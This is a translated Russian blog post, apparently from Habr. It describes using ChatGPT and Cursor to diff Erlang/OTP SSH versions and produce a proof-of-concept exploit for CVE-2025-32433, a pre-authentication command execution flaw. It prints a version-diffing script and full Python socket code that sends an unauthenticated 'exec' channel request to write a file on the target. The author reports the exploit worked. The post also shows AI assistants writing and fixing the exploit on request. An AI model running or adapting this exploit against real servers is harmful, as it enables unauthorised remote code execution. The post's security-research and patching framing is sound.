Написание доказательства концепции для CVE-2025-32433
Пью кофе, просматриваю Twitter, и вот он — твит от Horizon3:
👉 https://x.com/Horizon3Attack/status/1912945580902334793
У них есть доказательство концепции для CVE-2025-32433. Они говорят, что это было «удивительно просто». Но они не сбросили код. Хм.
Естественно, я подумал: если это так просто... может ли ИИ просто написать это за меня?
Эксплойты, создаваемые ИИ?
Оказывается, да, это возможно.
GPT не только понял описание CVE, но и выяснил, какой коммит ввел исправление, сравнил его со старым кодом, нашел разницу, нашел уязвимость и даже написал доказательство концепции. Естественно, с первого раза код не заработал и тогда ИИ сам его отладил и исправил.
Давайте рассмотрим, как я к этому пришел.
Первоначальная подсказка
Первое, что я сделал, это взял выходной код python в анимированном GIF-файле Horizon. Он был не таким уж большим, но его было полезно передать GPT.

Небольшой толчок в правильном направлении никогда не повредит.
Поиск версий
Далее: я проверил официальные рекомендации Erlang на GitHub, чтобы найти как затронутую версию, так и исправленную.

Я знал, что мне нужно будет сравнить эти версии. Поэтому я дал GPT этот базовый запрос, и вот что он выдал:
❯ git checkout OTP-27.3.1
mkdir -p ../ssh_5_2_9
cp -a lib/ssh/\* ../ssh_5_2_9/
# Checkout the commit that introduces ssh-5.2.10
git checkout 71219a5123309c8cf66f929a19a100a242e15681
mkdir -p ../ssh_5_2_10
cp -a lib/ssh/\* ../ssh_5_2_10/
Он даже объяснил, что происходит на каждом шаге. Полезно! На тот момент у меня было два снимка: ssh_5_2_9 (уязвимый) и ssh_5_2_10 (исправленный). Время для сравнения.
diff.py — Наш археолог кода
GPT предоставил мне этот небольшой, но мощный скрипт на Python для рекурсивного сравнения двух версий:
import os
import difflib
def get_source_files(base_dir):
return {
os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f)
for root, _, files in os.walk(base_dir)
for f in files if f.endswith((".erl", ".hrl"))
}
def safe_readlines(path):
for enc in ("utf-8", "latin-1"):
try:
with open(path, "r", encoding=enc) as f:
return f.readlines()
except UnicodeDecodeError:
continue
return None
def compare_versions(dir1, dir2):
files1, files2 = get_source_files(dir1), get_source_files(dir2)
common = sorted(set(files1) & set(files2))
diffs = {
path: list(difflib.unified_diff(
safe_readlines(files1[path]), safe_readlines(files2[path]),
fromfile=f"{os.path.basename(dir1)}/{path}",
tofile=f"{os.path.basename(dir2)}/{path}"))
for path in common
if safe_readlines(files1[path]) and safe_readlines(files2[path])
}
return diffs
# Run diff and print results
base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10"
diffs = compare_versions(base1, base2)
print("\n🔍 Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):")
print("---------------------------------------------------------")
for f, lines in diffs.items():
print(f"{f}: {len(lines)} changed lines")
print("\n\n📄 Full Diffs for All Changed Files:\n")
print("=====================================")
for f, lines in diffs.items():
print(f"\n--- {f} ---\n{''.join(lines)}")
Этот скрипт просматривает все файлы .erl и .hrl, сравнивает их построчно и выводит как сводку, так и полное унифицированное сравнение.
Итак, мы получили длинный список различий, который выглядел примерно так:
....omitted for brevity...
+early_rce(Config) ->
+ ...
+ TypeReq = "exec",
+ DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>,
+ ...
+ {send, SshMsgChannelRequest},
+ {match, disconnect(), receive_msg}
....omitted for brevity...
Да — различий очень много. Я не буду вставлять все сюда, потому что мы будем листать вечно.
Итак (и вы, вероятно, это предвидели)... Я передал это ChatGPT и просто сказал:
«Эй, можешь ли ты сказать мне, что стало причиной этой уязвимости?»

Мнение GPT: действительно познавательно
Классический ход GPT — он спросил меня:
«Хотите полноценный PoC-клиент? Демонстрацию в стиле Metasploit? Пропатченный SSH-сервер?»
Да. Все хотим. Начнем с PoC.
Первое подтверждение концепции (PoC)
Вот что сгенерировал GPT. Код явно сырой — просто скрипт сокета Python, который пытается открыть канал и отправить команду до завершения аутентификации.
import socket
import struct
HOST = "127.0.0.1" # Change to vulnerable SSH server IP
PORT = 2222 # Change to correct SSH port
# Utilities
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_channel_open(channel_id=0):
return (
b"\x5a" + # SSH_MSG_CHANNEL_OPEN
string_payload("session") +
struct.pack(">I", channel_id) + # sender channel
struct.pack(">I", 0x68000) + # initial window size
struct.pack(">I", 0x10000) + # max packet size
b""
)
def build_channel_request(channel_id=0, command="file:write_file(\"/lab.txt\", <<\"pwned\">>)."):
payload = (
b"\x62" +
struct.pack(">I", channel_id) +
string_payload("exec") +
b"\x01" +
string_payload(command)
)
return payload
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l): return string_payload(",".join(l))
return (
b"\x14" + cookie +
name_list(["diffie-hellman-group14-sha1"]) +
name_list(["ssh-rsa"]) +
name_list(["aes128-ctr"]) * 2 +
name_list(["hmac-sha1"]) * 2 +
name_list(["none"]) * 2 +
name_list([]) * 2 +
b"\x00" + struct.pack(">I", 0)
)
# Step-by-step protocol
with socket.create_connection((HOST, PORT)) as s:
print("[*] Connecting to SSH server...")
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
print("[*] Sending KEXINIT...")
kex_packet = build_kexinit()
kex_len = struct.pack(">I", len(kex_packet) + 1)
kex = kex_len + b"\x0a" + kex_packet + b"\x00" * 6
s.sendall(kex)
print("[*] Sending channel_open...")
chan_open = build_channel_open()
chan_len = struct.pack(">I", len(chan_open) + 1)
s.sendall(chan_len + b"\x0a" + chan_open + b"\x00" * 6)
print("[*] Sending channel_request with exec payload...")
chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).')
req_len = struct.pack(">I", len(chan_req) + 1)
s.sendall(req_len + b"\x0a" + chan_req + b"\x00" * 6)
print("[✓] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")
Отладка с помощью Cursor
Ничего удивительного: первоначальный код не работал.
Поэтому я сменил тактику. Поскольку код становился все более тяжелым, я открыл Cursor, загрузил код, открыл терминал и просто спросил:
«Исправь код PoC?»

Никаких подробных инструкций. Никаких ограничений. Просто терминал разработчика, сломанный скрипт и обнадеживающая подсказка.
К моему удивлению, это сработало!
GPT (через Cursor и Sonnet 3.7) исправил проблемы, изменил сообщения протокола и все заработало.

Я запустил исправленную версию, и она успешно записала /lab.txt на моей тестовой системе. Чистый, рабочий, полностью сгенерированный ИИ эксплойт для CVE, у которого на тот момент не было публичного PoC.
Заключительные мысли
Вот и всё. От твита → до копания в diffs → до полного PoC-эксплойта — все без предварительного открытого кода, с которого можно было бы начать. И большую часть этого сделал ИИ.
Жесть!
Это открывает некоторые серьезные вопросы о том, как быстро ИИ может помочь в исследовании уязвимостей — или даже автоматизировать целые его части. Мы наблюдаем, как наступает новая эра инструментов безопасности.
То, что началось как любопытство по поводу твита, превратилось в глубокое исследование того, как ИИ меняет исследования уязвимостей. Несколько лет назад этот процесс потребовал бы специальных знаний Erlang и часов ручной отладки. Сегодня это заняло пол дня с правильными подсказками.
Это хорошо или вызывает беспокойство? Вероятно, и то, и другое. Это демократизирует исследования безопасности, одновременно потенциально снижая барьер для разработки эксплойтов. Но именно поэтому ответственное раскрытие информации и совместные методы обеспечения безопасности важны как никогда.
Огромное спасибо Horizon3 и Фабиану Боймеру за их ответственное раскрытие этой уязвимости. Их работа продолжает делать сообщество безопасности сильнее.
Я решил перевести эту статью для вас, потому что уверен в её концептуальной важности для всей кибербезопасности. Эта статья - рабочий кейс того, как нужно действовать, чтобы быстро получить рабочий эксплойт к самым свежим CVE, а использование ИИ существенно расширяет круг людей, кто может подобное делать в принципе.
Я думаю так, что если к лету 2025 у вас нет автоматизации по поиску патчей, их автоматической проверки и установки, то ваша безопасность безнадёжно устарела. Как же быстро всё развивается...
Если вам понравилась статья, поставьте мне "ХАБР-лайк" и приходите в мой Телеграм!